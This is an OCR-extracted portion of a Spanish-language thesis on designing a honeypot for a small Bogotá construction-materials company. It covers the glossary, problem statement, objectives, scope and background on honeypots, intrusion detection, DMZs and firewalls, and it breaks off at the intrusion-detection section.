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GLOSARIO

ACTIVO: “cualquier cosa que tenga valor para la organizacion.”

ANALISIS DE VULNERABILIDADES: “es aquel tipo de andlisis que permite
identificar los puntos débiles, susceptibles de ser utilizados para dafar el sistema,

y proponer acciones alternativas para reducir las vulnerabilidades™.

CONFIDENCIALIDAD: “la propiedad que esa informacion esté disponible y no sea

divulgada a personas, entidades o procesos no-autorizados”>.

CONTINUIDAD DEL NEGOCIO: “también conocido como BCP (Business
Continuity Plan), su proposito es proporcionar procedimientos para sustentar las
operaciones esenciales de negocios mientras que el sistema se recupera de un

trastorno significativo™.

DISPONIBILIDAD: “la propiedad de estar disponible y utilizable cuando lo requiera

una entidad autorizada™.

ESTACION DE TRABAJO: “también conocido como computador, permite a los
usuarios el acceso a los servicios de red, desarrollo de actividades ofimaticas,

acceso a internet, gestién de archivos, etc’™.

HACKER: “sujeto con amplios conocimientos informaticos y tecnoldgicos, que
tiene la capacidad de sortear las medidas de seguridad de los sistemas de

informacion para atacar, modificar o acceder a ellos de forma autorizada o no”’.

! SO/IEC 13335-1:2004.

? Sistemas SCADA 22 Edicién, Antonio Rodriguez Penin, Editorial Marcombo Ediciones TECNICAS
(2007), Barcelona, Espafia pag. 245

® SO/IEC 13335-1:2004

* Seguridad de la informacién Redes, Informéatica y Sistemas de Informacién, Javier Areitio,
Editorial Paraninfo, Madrid Espafia, pag. 260.

® SO/IEC 13335-1:2004.

® Autores: Eibin Fabian Acosta Agudelo y Miguel Angel Chaparro Mendivelso

’ Autores: Eibin Fabian Acosta Agudelo y Miguel Angel Chaparro Mendivelso
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HARDENING: “en seguridad informética, es el proceso de asegurar un sistema

mediante la remediacion de las vulnerabilidades presentes en el mismo™.

HONEYBOT: “es una solucion de honeypot para plataforma Windows, que
funciona abriendo un amplio abanico de sockets de escucha en el equipo, los

cuales son usados para imitar servicios vulnerables™®.

HONEYPOT: “sistema monitoreado con el propdésito de atraer atacantes de forma

premeditada para ser atacado y comprometido”®.

INTEGRIDAD: “la propiedad de salvaguardar la exactitud e integridad de los

activos”*?.

PYME: sigla referente a pequefia y mediana empresa, en Colombia segun la ley
905 de 2004 se entiende por micro incluidas las Famiempresas pequefia y
mediana empresa, toda unidad de explotacion econdmica, realizada por persona
natural o juridica, en actividades empresariales, agropecuarias, industriales,

comerciales o de servicios, rural o urbana, con un maximo de 200 empleados®?.

SEBEK: “es una herramienta de captura de datos disefiada para capturar las
actividades del atacante en un Honeypot, “sin que el atacante lo sepa”. Tiene dos
componentes: El primero es un cliente que se ejecuta en los honeypots, su
propésito es capturar todas las actividades atacantes (pulsaciones de teclado,
carga de archivos, contrasefias) las cuales se registran y posteriormente se envian
los datos al servidor. EI segundo componente es el servidor, el cual recoge y

visualiza los datos de del Honeypot™.

8

. Definicién consultada en: http://blog.smartekh.com/¢ que-es-hardening/

Definicion consultada en: http://www.atomicsoftwaresolutions.com/honeybot.php

' GERRIT, Gébel., DEWALD, Andreas. Client-Honeypots: Exploring Malicious Websites. Munich:
Editorial Oldenbourg, 2011. p. 8.

' SO/IEC 13335-1:2004.

12 Articulo 20 de la Ley 905 de 2004, Congreso de la Republica de Colombia.

3 Definicién consultada en: https://projects.honeynet.org/sebek/
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SNORT: “es un sistema de deteccién y prevencion de intrusiones de fuente

abierta, que combina el uso de firmas e inspeccién basado en anomalias™*.

WIRESHARK: “es un software analizador de protocolos de red, el cual permite

capturar y navegar interactivamente en el tréfico que se ejecuta en una red

informatica”®®.

4 Definicion consulta en: http://www.snort.org
!> Definicion consulta en: http://www.wireshark.org/about.html
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RESUMEN

En el presente trabajo se documenta el disefio e implementacién de un Honeypot
para la empresa Soluconstruccién SAS™®, el cual pretende ser una herramienta
dedicada a recolectar y analizar informacion sobre los ataques y técnicas
empleadas por hackers contra la red de dicha compafia, que pueden llegar a
comprometer la continuidad del negocio y uno de sus activos mas importantes: La

informacion.

La metodologia empleada para desarrollar el proyecto estd compuesta por cuatro
fases: Disefio, Implementacién, Hallazgos y Resultados, y Documentacion. La
misma busca satisfacer las necesidad del proyecto para alcanzar los objetivos

planteados.

Palabras Clave: Honeypot, Hacker, Activo, Informacion, Continuidad del negocio.

'® Soluconstruccion SAS es una Pyme de la ciudad de Bogota D.C., cuya actividad principal es la
comercializacién de productos de construccion (Tejas, Pisos, Cielo rasos) y el desarrollo de
proyectos (Instalaciéon de fachadas).
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ABSTRACT

This project documents the design and implementation of a honeypot for the
company Soluconstrucciéon SAS, which pretends being a tool designed to collect
and analyze valuable information about the attacks and techniques used by
hackers against the network of the company, that they could get to compromise the

continuity of the business and one of your most important assets: information.

The methodology used to develop the project consists of four phases: Design,
Implementation, Findings and results, and Documentation. It seeks to satisfy the

needs of the project for achieve the objectives.

Keywords: Honeypot, Hacker, Asset, Information, Business Continuity.
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INTRODUCCION

La masificacion de Internet ha contribuido en gran medida a que cada uno de los
sectores de la industria cuenten con miles de alternativas para la diversificacion de
Sus negocios, gestion de mercadeo, alcance de clientes potenciales a nivel
mundial, etc., todo esto gracias a una de las ventajas que ofrece esta red publica

de informacion: la eliminacion de las barreras geografias.

Sin embargo a pesar de su continua adopcion, el nimero de ataques informaticos
efectuados teniendo como foco las pymes se ha incrementado considerablemente
haciendo de estas Ultimas uno de sus objetivos predilectos. A pesar de que estos
ataques se orientaban en un principio a organizaciones de gran tamafo,
precipitadamente el mundo de la mediana y pequefia empresa se ha convertido en

victima de esta misma situacion.

En consecuencia se busca que una Pyme como Soluconstruccion SAS pueda
recolectar informacién sobre ataques y técnicas usadas por los hackers que
intenten vulnerar su red de datos, mediante el disefio e implementacion del
Honeypot propuesto. Ademas teniendo en cuenta la constante aplicacion y
adopcion de los Honeypot en los ambientes productivos como investigativos a
nivel mundial, se busca aplicar esta tecnologia con el presente proyecto, haciendo
uso del conocimiento adquirido en esta especializacion, para hacer frente a la
problematica planteada en anteriores parrafos. De igual forma se tiene en cuenta
un bajo costo de implementacion que facilite su puesta en marcha y

funcionamiento continuo.
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1. PROBLEMA DE INVESTIGACION

1.1 PLANTEAMIENTO DEL PROBLEMA

Las Tecnologias de la Informacion y las Comunicaciones mas conocidas como
TICs, han sido sin lugar a duda un catalizador que ha contribuido a que las
pequefias, medianas y grandes empresas optimicen sus procesos, eliminen las
barreras geogréficas comercializando sus productos y servicios a nivel nacional e
internacional, almacenen grandes cantidades de informacibn para tomar
decisiones, generen alianzas estratégicas que aumenten su participacion en el
mercado, etc. Sin embargo con su continua adopcién, de forma paralela se ha
experimento un aumento en el nimero de ataques maliciosos efectuados por los
hackers teniendo como foco las pymes, las cuales se han convertido en uno de

sus objetivos favoritos*’.

Este tipo de ataques que normalmente solian limitarse a grandes organizaciones
con el animo de obtener acceso a informacion confidencial han saltado
rapidamente al mundo de la mediana y pequefia empresa, tal como lo afirma el
Internet Security Thread Report de Symantec, en el cual se afirma que es un error
asumir que solo las grandes empresas sufren ataques, puesto que, mientras que
muchos propietarios de pequefias empresas creen gue nunca serian victimas de
un ataque a su compairiia, mas de la mitad estaban dirigidos a las organizaciones
con menos de 2.500 empleados y, ademas, el 17.8% fueron dirigidos a empresas
con menos de 250 empleados™®.

Empresas como Soluconstruccién SAS, una pyme dedicada a la comercializaciéon
de materiales para la construccion (tejas, pisos, fachadas, etc.) ubicada en la

ciudad de Bogota D.C., quien recientemente a raiz de algunos incidentes que se

" Internet Security Thread Report [online]. Symantec. Abril 2012 - [citado23sep, 2012], p 17,
volumen 17. Disponible en Internet: https://www.owasp.org/images/7/70/Symantec_ISTR_17.pdf

¥ Internet Security Thread Report [online]. Symantec. Abril 2012 - [citado23sep, 2012], p 17,
volumen 17. Disponible en Internet: https://www.owasp.org/images/7/70/Symantec_ISTR_17.pdf

20



han presentado y comprometido el normal funcionamiento de su red de datos:
Accesos no autorizados a sus servidores e horas extra laborales, Denegacion de
Servicio en su ERP y Ejecucion de copias de respaldo no autorizadas de sus
Bases de datos, ha tomado conciencia sobre el rol que juega la seguridad
informatica como mecanismo habilitador para alcanzar los objetivos estratégicos

planteados.

Hasta hace muy poco tiempo su area de tecnologia consideraba muy remota la
posibilidad de ser afectados por ataques informaticos, puesto que al ser una
empresa de pequefia, carecer de un amplio reconocimiento popular y no estar
relacionada con temas financieros como la banca, haria llegar a la prematura
conclusién de que la probabilidad de ser victima de un ataque informatico es muy
baja, pero siendo consecuente con lo expuesto en el segundo parrafo del presente
planteamiento del problema, dicha conclusién no eximiria a esta compafiia de ser

un posible blanco de ataques informaticos.

En la actualidad la empresa no cuenta con una herramienta como un Honeypot,
qgue le permita obtener y analizar informacion sobre aquellos técnicas y ataques
ejecutados por los hackers, con lo cual no hay una acertada retroalimentacion que
le facilite a el area de Tecnologia de esta empresa definir controles especificos
basandose en informacion real derivada de un dispositivo de este clase, que le

permita reforzar las medidas de seguridad informatica de la red.

Es por ello que en la actualidad la falta de un mecanismo como un Honeypot, no
contribuye a recolectar y analizar informacion valiosa de gran utilidad sobre los
atacantes antes, durante y después de efectuarse un ataque, asi como las
técnicas empleadas por estos ultimos para vulnerar: los servicios, servidores,
sistemas de informacion, etc.,

Es de resaltar que se han presentado algunas situaciones o incidentes que han

comprometido la seguridad informatica y que hubieran podido ser analizados y
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estudiados con mayor detalle de forma conjunta entre un honeypot y logs de
registro. Dentro de estos se encuentran:

e La DoS™ al servidor en varias ocasiones por circunstancias atribuidas a un

proceso de inundacion del servicio aparentemente.

¢ Realizacion de copias de seguridad no autorizadas a causa de algunos procesos

del sistema operativo sospechosos, etc.

Por todo lo previamente expuesto surgen los siguientes cuestionamientos:

¢ Por qué implementar un honeypot en la empresa Soluconstruccion SAS?, ¢Qué
aspectos hay que tener en cuenta para su disefio e implementacién?, ¢Qué
beneficios puede aportar un honeypot a dicha compafiia?, y finalmente:
¢, Soluconstruccidon SAS se encuentra exenta de ser un objetivo de ataques
informaticos por ser una Pyme de poco reconocimiento o por no pertenecer a un

sector como la banca?

1.2 FORMULACION DEL PROBLEMA

En la actualidad la red de datos de la compafiia no cuenta con una herramienta
de andlisis dedicada a recolectar informacion sobre potenciales ataques realizados
por los hackers, los cuales pueden llegar a comprometer seriamente la continuidad

del negocio y uno de sus activos mas importantes: La informacion.

Por tanto, a raiz del planteamiento del problema previamente expuesto, surge el

siguiente cuestionamiento:

19 Denegacion de Servicio, cualquier situacion que interrumpa parcial o totalmente el normal
funcionamiento en el tiempo de un sistema, aplicacion o activo.
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¢,Como puede contribuir la implementacion de un honeypot a la investigacion de

ataques y técnicas que tienen como foco la red de Soluconstruccién SAS?

23



2. OBJETIVOS

2.1 OBJETIVO GENERAL
Realizar el disefio e implementacion de un honeypot para la empresa

Soluconstruccion SAS.

2.2 OBJETIVOS ESPECIFICOS

Realizar un andlisis de vulnerabilidades con el objeto de ser usado como insumo

para el disefio del honeypot.

Disefiar el honeypot con base en la arquitectura de red de la empresa
Soluconstruccibn SAS y los recursos con los que se cuenta en el presente

proyecto.

Implementar el honeypot en un segmento de la red en donde este expuesto a la

mayor cantidad de ataques externos posibles.

Realizar un conjunto de recomendaciones de remediacion basado en los hallazgos

encontrados en el honeypot.

24



3. JUSTIFICACION

3.1 EMPRESARIAL

Siendo consecuente con la situacion expuesta en el planteamiento del problema,
es pertinente retomar parte del contexto mencionado alli: “Soluconstruccion SAS
no cuenta herramientas como un honeypot, que le permita recolectar, y analizar de
forma detallada informacién valiosa sobre los ataques y técnicas empleadas por
los hackers para atacar su red de datos”, para realizar la oportuna justificacion del

presente proyecto.

En consecuencia el presente proyecto visto como una de las alternativas de
solucién que pueden contribuir a mejorar la situacion expuesta en anteriores
numerales, ya que ofreceria los siguientes soluciones o beneficios que justifican

su disefo e implementacion, puesto que:

e Es un mecanismo de recoleccién de informacién sobre ataques y técnicas
usadas por los hackers que ataquen la red de datos, cuyo andlisis facilita la

definicion e implementacion de los controles.

e [Es un distractor para los atacantes, que permite al area de Tecnologia

estudiarlos en aras de monitorear su comportamiento.

3.2 SOCIAL

Siendo conscientes del papel que juegan los profesionales de la seguridad de la
informacion dentro del recurso humano productivo del pais, es una
responsabilidad primordial, el aportar soluciones que satisfagan los problemas o
necesidades que requieren Pymes, por lo tanto, uno de los propésitos principales
consiste en poner al servicio de todas las organizaciones herramientas de analisis

como la expuesta en este proyecto de grado, cuyos beneficios aparte de mejorar

25



la seguridad de la informacion en las empresas, redunde en la satisfaccion de la

prestacion del servicio a sus clientes.

3.3 JUSTIFICACION ACADEMICA

Este proyecto tiene como meta el disefio e implementacion de un Honeypot para
la empresa Soluconstruccion SAS, por tanto con el desarrollo de este ultimo se
pretende aplicar los conceptos y conocimientos aprendidos a lo largo de la
especializacién, de tal forma que como profesionales en seguridad informatica, se
contribuya a desarrollar y profundizar los conocimientos y tematicas enmarcadas
en la linea de Técnicas y Deteccion, que sirvan como fuente de consulta o como

punto de referencia sobre el tema en cuestion, para futuros proyectos.
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4. ALCANCE

El presente proyecto contempla el disefio e implementacién de un honeypot para
la empresa Soluconstruccion SAS, el cual sea utilizado como mecanismo de
recoleccion de informacion sobre ataques externos usados por los hackers que
intenten vulnerar la red de la empresa en mencién. Por ende a partir de su
andlisis, se pretende determinar los servicios que fueron comprometidos. Lo
anterior con el animo de sugerir por parte de los autores de este proyecto un
conjunto de recomendaciones de remediacidon a tener en cuenta por parte del area

de Tecnologia.

Asi mismo es pertinente mencionar que el honeypot en cuestion se limitara a
simular una estacion de trabajo con los siguientes servicios: RDP, FTP, Telnet,
SSH, Http, Https, NetBIOS, DNS, SAP y SQL Server, mas no otro tipo de
dispositivo como Switch, Router, etc. En consecuencia se hace especial énfasis

en que el Honeypot no comprende bajo ninguna circunstancia:

e Ser por si mismo, una solucidon que garantice la seguridad de la de red de
datos.

e Corregir vulnerabilidades o fallos existentes en la red.

e Evitar ataques contra la red.

e Remplazar o ser usado como un Sistema de Deteccion / Prevencion de Intrusos
(IDS/IPS).

e Ser una solucion de seguridad perimetral como un Firewall.

El proyecto se implementara en la compafia Soluconstruccion SAS, sin
embargo no se descarta que este mismo pueda ajustarse o adaptarse para ser
implementado en cualquier otra pyme del mismo sector industrial 0 que cuente

con caracteristicas tecnologicas similares.
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Finalmente, es pertinente aclarar que la linea de investigacion dentro de la cual

se encuentra enmarcado el proyecto es: Técnicas y Deteccion.
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5. MARCO REFERENCIAL

5.1 MARCO HISTORICO

Los honeypots no son una tecnologia nueva, sus inicios datan de finales de la

1?° escribio el libro: “el huevo del

década de los afios 80s, cuando el fisico Cliff Stol
cuco”, en el cual relata su trabajo como administrador del sistema de un
laboratorio en California, en donde encuentra un error en el sistema de facturacion
de 75 centavos gracias al log del sistema, con el cual logra rastrear al atacante,

esta investigacion duro aproximadamente tres afios.

Durante 11 afos (1988 — 1999) se desarrollaron una serie de programas y scripts
a los que se les considera fueron las bases de los honeypots que actualmente se
conocen, dentro de los que se destacan: Deception Toolkit (DTK) en el afio de
1997, Cybercop Sting y NetFacade en el afio de 1998, pero solo fue hasta 1999
que un grupo de cientificos e investigadores liderados por Lance Spitzner?
implemento una red casera de seis computadores funcionando durante un afio de
forma ininterrumpida, con las cuales se cre6 una base de conocimiento respecto a
la forma de actuar de los atacantes sobre un servidor y su red de datos. De esta
forma, es a partir de este momento cuando realmente se formaliza el concepto de
honeypot, con lo cual el doctor Spitzner y su grupo de investigadores dan inicio al

proyecto: “Honeypot Project”.

De igual forma, los honeypots fueron utilizados por investigadores y hackers para
comprender el comportamiento de los atacantes en diferentes tipos de redes y
servidores, pero después del auge que mostro la implantacion de los honeypots

(en términos de investigacion) una serie de empresas decidieron instalarlos en un

%0 Estadounidense, astrénomo y experto en computacion, quien se hizo popular debido a la

publicacién del libro “huevo del cuco”, donde se detalla el rastreo que efectué a un hacker en el
afio 1986.

Es un profesional muy reconocido en el mundo de la seguridad e investigacion de Honeypots,
fundador del Proyecto Honeynet, un grupo profesionales de seguridad dedicados a la
investigacion de Honeypots.
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ambiente de produccién como medidas alternativas para analizar a los intrusos.

Dentro de estos casos se encuentran:

+ “Google, con el proyecto “Google Hack Honeypots” que luego se convirtio en el

“Google Project Hosting"?.

« “El FBI, para la identificacién de pedéfilos en los estados unidos”®.
+ “UNAM, la universidad de México, creo un grupo de trabajo no solo para la
proteccion de su red, sino que ademas se utiliza con fines de investigacion™*.

+ “ANTEL, empresa de telecomunicaciones de Uruguay, instauro honeypots para

la recoleccion de datos de personas malintencionadas que quisieran atacar

alguna red en Uruguay”®.

5.2 MARCO TEORICO

5.2.1 Clasificacion de los honeypots. Esta se ramifica de muchas maneras en
funcion de una gran variedad de enfoques, ya sea por sus caracteristicas,
propésitos, ambientes, razon de ser, etc. Sin embargo es de resaltar que durante
la busqueda del “gran abanico” de categorizaciones en los cuales este dispositivo

ha sido clasificado, se pueden destacar dentro de las mas comunes las siguientes:

5.2.1.1 Tipo de Ambiente. La primera clasificacion se define con base en
ambiente sobre el cual el honeypot va a ser implementado, por ende los dos mas

habituales son:

e Ambiente de Produccion. En este tipo de ambiente se realiza la implantacién

del honeypot en la infraestructura real de una compaifia u organizacion.

%2 Federal Depository Library Program Files (/GO Depository) [Online]. Washington, D.C.:

Government Printing Office [cited 1995-02-15].

28 Consultado en: http://arstechnica.com/tech-policy/2012/04/the-hidden-side-of-your-soul-how-the-
fbi-uses-the-web-as-a-child-porn-honeypot/

24 Consultado en: http://www.honeynet.unam.mx/content/proyecto-honeynet-unam

% Consultado en: http://www.csirt-antel.com.uy/principal/reporte_honey 2009
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e Ambiente de Investigacion. Este ambiente contempla el uso de estos
dispositivos confines de experimentacion, pruebas y analisis de las técnicas y
ataques efectuados por los atacantes.

5.2.1.2 Nivel Interaccion. Esta segunda clasificacion centra su foco de atencion
en la forma de interactuar propiamente dicha del honeypot con el atacante, en

consecuencia esta clasificacion se ramifica en:

e “Alta Interaccion. Es un sistema cebo que simula al 100% se un computador

normal”?®.

e “Baja Interaccién. Es un sistema cebo que solo simula de forma parcial un

computador o servicio de aplicacion™’.

5.2.1.3 Tipo de Implementacion. Finalmente el tercer item por el cual se clasifican

los honeypots obedece al tipo de implementacién de orden fisico o virtual.

e Fisico. Como su nombre lo indica es un servidor que funciona bajo un maquina
fisica como puede ser un equipo servidor o de escritorio, generalmente para

este caso en particular se usan equipos de computo anticuados para tal fin.

e Virtualizado. A diferencia de utilizar una plataforma fisica para poder operar,

este utiliza un software de Virtualizacion sobre el cual se ejecuta.

*® ROGER, Jean-Marc. Seguridad en la informéatica de empresa: Riesgos, amenazas, prevencion y
soluciones. Barcelona: Ediciones ENI, 2004. p. 256.

ROGER, Jean-Marc. Seguridad en la informatica de empresa: riesgos, amenazas, prevencion y
soluciones. Barcelona: Ediciones ENI, 2004. p. 25

27

31



5.2.2 Virtualizacion. Esta tecnologia permite mediante una capa de abstraccion,
ejecutar varios sistemas operativos al mismo tiempo sobre un mismo hardware,

como indica en la Figura 1.

Figura 1. Paralelo de una plataforma sin virtualizacion y con virtualizacion
VMWARE

Without Virtualization With Virtualization

Applicatien

Operating System

http://www.intraemprendedor.com/2009/06/25/virtualizacion-de- ambientes-de-sap-
usando-vmware/

La virtualizacion otorga las siguientes ventajas respecto a la forma tradicional de

emplear el hardware, dentro de esta serie de las que se destacan:

e Reduccion de consumo de energia eléctrica.

e Optimizacion del uso de los recursos de hardware, en otras palabras
contribuye a dejar de subutilizar este ultimo.

e Facilita la optimizacion del espacio fisco en los centros de datos, puesto que
en un solo equipo virtualizado se puede ejecutar multiples maquinas virtuales.

e Facilita elasticidad de los recursos, es decir se puede aumentar o disminuir los
recursos de hardware segun las necesidades.

e Alta disponibilidad en la recuperacibn de desastres, al reducir
significativamente el tiempo en restablecer los equipos y servicios a la
normalidad luego de acontecer un desastre.
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5.2.3 Deteccion de intrusos. Las propiedades de gran valor necesitan ser
protegidas de robo o destruccién potencial. Algunos hogares estan equipados con
sistemas de alarmas que pueden detectar ladrones, notificar a las autoridades
cuando ocurre una entrada ilegal y hasta advertir a los duefios cuando sus
hogares estan bajo fuego. Tales medidas son necesarias para asegurar la
integridad de los hogares y la seguridad de sus duefios.?®

El mismo aseguramiento de la integridad y seguridad deberia ser aplicado a los
sistemas de computacion y datos. Internet ha facilitado el flujo de la informacién,
desde personal hasta financiera. Al mismo tiempo, también ha promovido muchos
peligros. Los usuarios maliciosos y crackers buscan objetivos vulnerables tales
como sistemas no actualizados, sistemas infectados con troyanos y redes
ejecutando servicios inseguros. Las alarmas son necesarias para notificar a los
administradores y a los miembros del equipo de seguridad que ha ocurrido una
entrada ilegal para que asi estos puedan responder en tiempo real a la amenaza.
Se han disefiado los sistemas de deteccion de intrusos como tales sistemas de

notificacion.?®

5.2.3.1 Definicion de sistema de deteccion de intrusos. Un sistema de deteccion
de intrusos (IDS) es un proceso o dispositivo activo que analiza la actividad del
sistema y de la red por entradas no autorizadas y/o actividades maliciosas. La
forma en que un IDS detecta las anomalias pueden variar ampliamente; sin
embargo, el objetivo final de cualquier IDS es el de atrapar a los perpetradores en
el acto antes de que hagan algun dafio a sus recursos.*°

Un IDS protege a un sistema contra ataques, malos usos y compromisos. Puede
también monitorear la actividad de la red, auditar las configuraciones de la red y

sistemas por vulnerabilidades, analizar la integridad de los datos y mas.

28 tomado de: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/ch-detection.html
29 tomado de: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/ch-detection.html
30 tomado de: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/ch-detection.html
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Dependiendo de los métodos de deteccidbn que seleccione utilizar, existen

numerosos beneficios directos e incidentales de usar un IDS.

5.2.3.2 Tipos de IDS. Entender que es un IDS vy las funciones que proporciona,
es clave para determinar cudl sera el tipo apropiado para incluir en una politica de
seguridad de computacion. Esta seccién discute los conceptos detrds de los IDS,
las funcionalidades de cada tipo de IDS y la aparicion de los IDS hibridos, que

emplean varias técnicas de deteccién y herramientas en un sélo paquete>.

Algunos IDS estan basados en conocimiento, lo que alerta a los administradores
de seguridad antes de que ocurra una intrusidbn usando una base de datos de
ataques comunes. Alternativamente, existen los IDS basados en comportamiento,
que hacen un seguimiento de todos los recursos usados buscando cualquier
anomalia, lo que es usualmente una sefial positiva de actividad maliciosa. Algunos
IDS son servicios independientes que trabajan en el fondo y escuchan
pasivamente la actividad, registrando cualquier paquete externo sospechoso.
Otros combinan las herramientas de sistemas estandar, configuraciones
modificadas y el registro detallado, con la intuicion y la experiencia del
administrador para crear un kit poderoso de deteccion de intrusos. Evaluando las
diferentes técnicas de deteccion de intrusos lo ayudara a encontrar aquella que es

adecuada para su organizacion.*

Los tipos mas importantes de IDS mencionados en el campo de seguridad son
conocidos como IDS basados en host y basados en red. Un IDS basado en host
es el mas completo de los dos, que implica la implementacién de un sistema de
deteccion en cada host individual. Sin importar en qué ambiente de red resida el
host, estara protegido. Un IDS basado en la red filtra los paquetes a través de un

dispositivo simple antes de comenzar a enviar a host especificos. Los IDS

%' Tomado de: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/ch-detection.html
32 Tomado de: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/ch-detection.html
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basados en red a menudo se consideran como menos completos puestos que
muchos host en un ambiente movil lo hacen indisponible para el escaneo y

proteccién de paquetes de red.*

5.2.4 Analisis de trafico de red. El servicio de analisis de trafico de red permite
contar con informacién detallada y precisa del consumo de recursos de red,
monitorear y controlar el rendimiento de las aplicaciones, incluso aquellas
conectadas a Internet, de esta forma lograr gestionar el creciente volumen de
trafico web en funcién de categorias de contenido, para mejorar la performance,

acelerar aplicaciones y anticiparse a los incidentes que ocurran®.

El analisis de trafico de red permite:

e “Descubrimiento y andlisis de trafico. Identificar y clasificar las aplicaciones que
se encuentran corriendo sobre la red, y el uso de ancho de banda de trafico

entrante y saliente”.

¢ “Eficiencia de la red. Identificar el porcentaje de trafico de la red dedicada a la
retransmision de paquetes. Ademas, determinar la porcion de trafico y consumo
de ancho de banda correspondiente a aplicaciones recreativas, aplicaciones
criticas de negocio y trafico no critico”®.

e “Utilizacion de ancho de banda. Examinar la utilizacién del enlace para
determinar la variabilidad en el uso de enlace y entender los requerimientos de

capacidad del ancho de banda™’.

33 Tomado de: http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/ch-detection.html

34 Tomado de: http://www.ransecurity.com/docs/analisis_de_trafico_en_la_red_ransecurity.pdf
35 Tomado de: http://www.ransecurity.com/docs/analisis_de_trafico_en_la_red_ransecurity.pdf
36 Tomado de: http://www.ransecurity.com/docs/analisis_de_trafico_en_la_red_ransecurity.pdf
37 Tomado de: http://www.ransecurity.com/docs/analisis_de_trafico_en_la_red_ransecurity.pdf
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Muchos de los problemas de la una red se atribuyen a deficientes configuraciones
en la mayoria de ocasiones, las causas de estos problemas tienen un origen no
premeditado como: tormentas broadcast, spanning-tree mal configurado, enlaces
redundantes, etc. Pero, en otras ocasiones, puede tratarse de ataques inducidos
por terceros que pretenden dejar fuera de servicio un servidor web mediante un
ataque DoS, husmear trafico mediante un envenenamiento ARP o simplemente
infectar los equipos con cédigo malicioso para que formen parte de una red zombi

o botnet®,

El andlisis de trafico permite identificar el origen del incidente, el cual es el primer
paso para poder tomar las contramedidas necesarias y conseguir una correcta
proteccion. En este punto, los analizadores de trafico pueden resultar de gran
utilidad para detectar, analizar y correlacionar trafico identificando las amenazas
de red para, posteriormente, limitar su impacto. Con tal propésito, existen en el
mercado dispositivos avanzados como el appliance MARS (Monitoring, Analysis
and Response System) de Cisco o IDS/IPS basados en hardware de diversos
fabricantes. Pero estas soluciones no siempre estan al alcance de todas las
empresas ya que su costo puede que no cumpla un principio béasico de
proporcionalidad (el gasto es superior al beneficio obtenido) y, por lo tanto, no se

justifique su adquisicion®.

38 Consultado en: www.inteco.es/file/5j9r8LaoJvwuB2ZrJ-XI7g
39 Consultado en: www.inteco.es/file/5j9r8LaoJvwuB2ZrJ-XI7g
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5.3 MARCO CONCEPTUAL

5.3.1 HONEYPOT

“En términos generales un honeypot (tarro de miel) es un sistema monitoreado con
el propdsito de atraer atacantes de forma premeditada para ser atacado y
comprometido, de tal forma que cada rastro que un atacante deja en el honeypot
es registrado y analizado para fines de investigacion o para detectar fallos de

seguridad en los ambientes de produccion”

. Este puede ser un equipo de
escritorio, un servidor, una tarjeta de red, un router, etc.; en otras palabras, estos
mecanismos pueden ser cualquier tipo de dispositivo, no necesariamente es
estacion de trabajo. Su fin principal es atraer a los atacantes en aras de estudiar
como estos Ultimos comprometen la seguridad de este tipo particular de

dispositivos.

La figura 2 muestra un esquema basico de un Honeypot dentro de la topologia de
una red de datos LAN.

“° GERRIT, Gobel., DEWALD, Andreas. Client-Honeypots: Exploring Malicious Websites. Munich:
Editorial Oldenbourg, 2011. p. 8.
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Figura 2. Esquema basico de un Honeypot
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GRIMES, Roger. Honeypots for Windows: Configure and manage windows
honeypots.

Esta tecnologia permite a una organizacién conocer cdmo se encuentra su nivel
de seguridad, ya que al implementar este tipo de sefiuelos, se pueden tomar las
medidas necesarias para solucionar los problemas presentados a partir de analisis

de los resultados encontrados en el mismo.

De otra forma este tipo de “cebos” se clasifica de acuerdo con los datos
especificados en la tabla 1, en la cual se especifican las categorias mas comunes

de estos dispositivos.
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Tabla 1. Clasificacion de los honeypots

Clasificacion
Tipo de Ambiente Invest|gac_:[0n
Produccion
L, En la DMZ
Ubicacion en la red Detras del Firewall
Nivel de Interaccion Alt.o
Bajo

Autores

Cuando se profundiza sobre este tipo de dispositivo es necesario hablar sobre
Lance Spitzner, quien gracias a su investigacion y contribucion mediante el
‘honeynet Project” ha realizado multiples avances que han contribuido a

profundizar y desarrollar en gran medida el estado del arte de los honeypots.

5.3.2 DMZ

“Se le llama DMZ o zona desmilitarizada, a aquel segmento neutral de la red
donde son ubicados los sistemas que son accedidos desde internet o aquellos que
necesitan ser aislados de la red interna, lo cual ofrece algunos niveles basicos de
seguridad y proteccion contra ataques o intentos de acceso no autorizados a la
red LAN interna”*.

“I DUBRAWSKY, Ido. Eleventh Hour Security+: Exam SYO-201 Study Guide. Burlintong: Editorial
Elsevier, 2010. p. 69.
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Figura 4. Ubicacion de una DMZ en una red interna.
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KOMAR, Brian. Firewalls for dummies. New York: Wileypublishing, 2003.

5.3.3 HACKER

Este término tiene multitud de significados e interpretaciones en la sociedad,
algunos lo relacionan como un personaje acaparador de sistemas informaticos que
roban datos personales para fines fraudulentos; otros como aquel sujeto con
amplios conocimientos en las areas de electrénica, informatica y tecnologia en
términos generales, que tiene la capacidad de sortear las medidas de seguridad

de los sistemas de informacion para acceder a ellos.
En fin este a su vez tiene multiples clasificaciones como: Crackers, Lammers,

Newbies, etc., ya sea por su nivel de conocimientos o por sus intenciones a la

hora de penetrar los sistemas de informacion.
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5.3.4 FIREWALL

“Un firewall es un dispositivo que intenta detener trafico no autorizado de datos

que viajan de una red a otra®”.

Este cuenta con una gran variedad de
clasificaciones al respecto, pero sin duda alguna los firewalls han evoluciona de
forma tal, que su funcion en la actualidad no solo se limita a detener el trafico no

autorizado, si no tiene ejerce algunos roles como:

e Sistema de Prevencion de Intrusos.
e Antivirus.

e DMZ.

e Controladora Wireless

e Servidor VPN

Aquellos firewalls con toda esta serie de funcionalidades se conocen como
Firewall de nueva generacion (NGF) o también llamados Firewalls UTM. Este tipo
de dispositivos generalmente se ubican después del Router con el fin de analizar

todo el trafico proveniente que Internet, como se muestra en la figura 5.

2 Cisco Pix Firewalls: Configure, Manage, & Troubleshoot, Thorsten Behrens,Brian Browne,ldo

Dubrawsky,Daniel Kligerman,Michael Sweeney, Pag. 16.
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Figura 5. Ubicacion de un firewall en una red interna.
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KOMAR, Brian. Firewalls for dummies. New York: Wileypublishing, 2003.

5.3.5 SISTEMA DE DETECCION DE INTRUSOS

